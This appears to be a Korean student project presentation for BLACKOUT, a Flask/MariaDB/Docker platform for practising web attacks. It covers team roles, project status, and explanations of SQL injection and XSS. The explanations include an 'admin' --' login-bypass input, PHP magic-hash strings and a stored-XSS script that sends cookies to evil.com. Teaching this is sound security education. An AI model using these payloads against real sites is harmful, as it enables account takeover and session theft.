



BLACKOUT

웹 보안 취약점 실습 플랫폼

Web Vulnerability Training & Simulation Platform

SQL Injection

XSS

Flask

MariaDB

Docker

팀 장

프로젝트 리더 및 아키텍트

플랫폼 인프라 / 서버 엔지니어링

Apache2 + mod_wsgi 셋업, Docker Compose 총괄,
MariaDB 컨테이너 통신 매핑

백엔드 코어 & 스키마 설계

ERD 모델링, Flask Blueprint 아키텍처 수립,
세션 관리 및 권한 제어 코어 로직

QA / DevOps

서버 에러·접근 로그 실시간 모니터링,
최종 배포 인프라 통합 점검

팀 원

프론트엔드 및 서비스 개발

UI/UX 뷰어 구현

Jinja2 템플릿 구조화, HTML5/CSS/JS 마크업,
인터페이스 개선

서비스 비즈니스 기능 구현

게시판 CRUD API 개발, 댓글/대댓글 처리,
파일 업로드 백엔드 로직 연동

품질 보증 보조

UI 컴포넌트 이벤트 디버깅,
사용자 동선 1차 유닛 테스트

SQL INJECTION

데이터베이스를 공격하는 가장 치명적인 기법 중 하나

💡 정의: 악의적인 SQL 쿼리를 입력값에 삽입하여 DB를 비정상적으로 조작하거나 민감 정보를 탈취하는 공격 기법

① 주석 처리를 이용한 인증 우회

입력: `admin' --`

원본 쿼리:

```
SELECT * FROM users
WHERE id='$id'
AND pw='$pw'
```

조작된 쿼리:

```
SELECT * FROM users
WHERE id='admin'-- '
```

결과: 비밀번호 검증 로직 무력화 → admin 계정 탈취

② MD5 취약점 & 매직 해시 (Magic Hash)

PHP `"=="` 느슨한 타입 비교 취약점

0e로 시작 + 숫자만 → 지수 표기
→ 수학적으로 0으로 인식

"240610708"의 MD5:
0e462097431906509... → 0

"QNKCDZO"의 MD5:
0e830400451993494... → 0

0 == 0  → 인증 우회 성공!

대응: === 연산자 사용 및 bcrypt/Argon2 해시 적용

XSS — Cross-Site Scripting

Section 03

크로스 사이트 스크립팅

악의적인 클라이언트 측 스크립트를 웹 페이지에 삽입하여, 해당 페이지를 열람하는 사용자의 브라우저에서 실행되도록 하는 공격

저장형

Stored XSS

- 게시판/댓글에 악성 스크립트 삽입
- DB에 영구 저장
- 열람자 모두 피해

예시:

```
<script>document.location=
'http://evil.com/steal?c='
+document.cookie</script>
```

반사형

Reflected XSS

- 피싱 URL에 스크립트 포함
- 서버가 파라미터를 그대로 반사
- URL 클릭 시 즉시 실행

예시:

```
https://site.com/search
?q=<script>alert(1)</script>
```

DOM 기반

DOM-based XSS

- 서버 요청 없이 클라이언트에서 발생
- DOM 동적 조작 시 취약

예시:

```
document.write(
  location.hash.substring(1)
)
```

프로젝트 진행 현황

Section 04

인프라 아키텍처 & 개발 현황

🌐 프론트엔드 (Jinja2 / HTML5 / CSS / JS)



⚡ Flask Blueprint (백엔드 API 계층)



🔒 인증 / 세션 / 권한 제어 미들웨어



🗄️ MariaDB (Docker 컨테이너)

Apache2 (mod_wsgi) + Docker Compose | 독립 포트 격리 환경

개발 진행 현황

- ✅ Apache2 + Flask mod_wsgi 연동 완료
- ✅ Docker Compose 컨테이너 구성 완료
- ✅ ERD 설계 및 MariaDB 스키마 확정
- 🔄 회원가입 / 세션 로그인 로직 개발 중
- 🔄 게시판 CRUD API 개발 중
- 📋 취약한/안전한 엔드포인트 병행 설계 예정
- 📋 관리자 제어망 구축 예정
- 📋 자체 모의 해킹 및 취약점 패치 예정

향후 계획



실전 해킹 경험

SQLi, XSS 등 실제 모의 해킹을
직접 수행하며 원리 체득



보안 코드 리뷰

취약한 코드 vs 안전한 코드를
직접 비교 분석



실무 아키텍처

Flask + Docker + MariaDB
실무 수준 환경 직접 운영



효과

이론을 넘어 체험형 학습으로
보안의 중요성 내재화

남은 계획

관리자 제어망 구축 → 자체 모의 해킹 실시 → 취약점 패치 → 최종 릴리즈

BLACKOUT

웹 보안 취약점 실습 플랫폼